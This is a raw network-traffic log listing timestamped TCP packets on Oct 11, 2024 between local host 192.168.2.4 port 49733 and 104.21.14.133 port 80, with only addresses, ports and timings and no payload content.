Oct 11, 2024 04:10:44.840428114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840445995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840481043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840511084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840528965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840565920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840595961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840600014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840655088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840687037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840687037 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840722084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840754032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840754032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840789080 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840838909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840842009 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840873957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840905905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840907097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840941906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.840972900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.840974092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841008902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841033936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841039896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841070890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841074944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841106892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841140985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841151953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841181040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841212988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841216087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841252089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841284990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841312885 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841316938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841344118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841351032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841384888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841418028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841418028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841451883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841483116 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841486931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841520071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841548920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841552973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841584921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841614962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841618061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841650963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841681957 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841686010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841712952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841728926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841738939 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841746092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841763973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841772079 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841778994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841795921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841809988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841811895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841829062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841839075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841846943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841862917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841873884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841878891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841888905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841888905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841897011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841906071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841917992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841928005 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841934919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841948032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841953039 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841969967 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841980934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.841986895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.841998100 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.842003107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.842016935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.842020035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.842026949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.842036963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.842063904 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.842825890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.842859030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.842860937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.842873096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.842885971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.842925072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.842946053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.842955112 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.842963934 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.842973948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.842981100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.842993975 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.843000889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.843008995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.843137026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.925383091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925426960 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925462961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925496101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925529003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925537109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.925591946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925623894 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.925626040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925661087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925690889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.925693989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925728083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925756931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.925760031 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925795078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925823927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.925827026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925862074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925892115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.925893068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925956964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.925987959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926008940 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926043987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926073074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926075935 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926110983 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926140070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926141977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926181078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926209927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926213026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926249027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926280022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926280975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926314116 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926342010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926347017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926381111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926409960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926413059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926448107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926476955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926480055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926512957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926546097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926546097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926594973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926625013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926645994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926681042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926709890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926732063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926783085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926812887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926815987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926868916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926898956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926918030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926954985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.926984072 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.926986933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927021980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927051067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927071095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927105904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927136898 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927160025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927192926 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927212000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927246094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927274942 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927280903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927314043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927344084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927346945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927431107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927463055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927467108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927500010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927530050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927550077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927584887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927618980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927642107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927691936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927721977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927725077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927761078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927792072 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927794933 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927839041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927867889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927871943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927905083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927933931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.927939892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.927990913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928021908 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928025007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928059101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928087950 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928109884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928143024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928173065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928178072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928210974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928240061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928244114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928277016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928307056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928313017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928344965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928375006 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928379059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928411961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928442001 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928445101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928478956 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928508043 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928512096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928544044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928572893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928576946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928611040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928642988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928643942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928675890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928705931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928709984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928738117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928769112 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928771019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928803921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928833961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928837061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928872108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928900957 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928904057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928941965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.928971052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.928973913 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929008007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929037094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.929039955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929074049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929104090 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.929106951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929142952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929172039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.929176092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929209948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929241896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929272890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.929275990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929306030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.929308891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929341078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.929344893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929375887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.929378986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929415941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929445028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.929447889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929483891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.929512024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.930664062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.930807114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.930840969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.930841923 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.930877924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.930907965 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.930912018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.930948019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.930977106 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.930982113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.931016922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:44.931046009 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:44.937150955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013098955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013149977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013187885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013221025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013223886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013253927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013257980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013288021 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013324022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013355970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013376951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013427973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013457060 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013463974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013514996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013545036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013547897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013585091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013617039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013619900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013653994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013683081 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013688087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013724089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013753891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013756990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013789892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013819933 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013823032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013856888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013890028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013896942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013930082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013958931 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.013962030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.013995886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014046907 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014050961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014115095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014147043 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014169931 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014225006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014259100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014260054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014309883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014343023 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014362097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014394999 CEST	80	49733	104.21.14.133	192.168.2.4
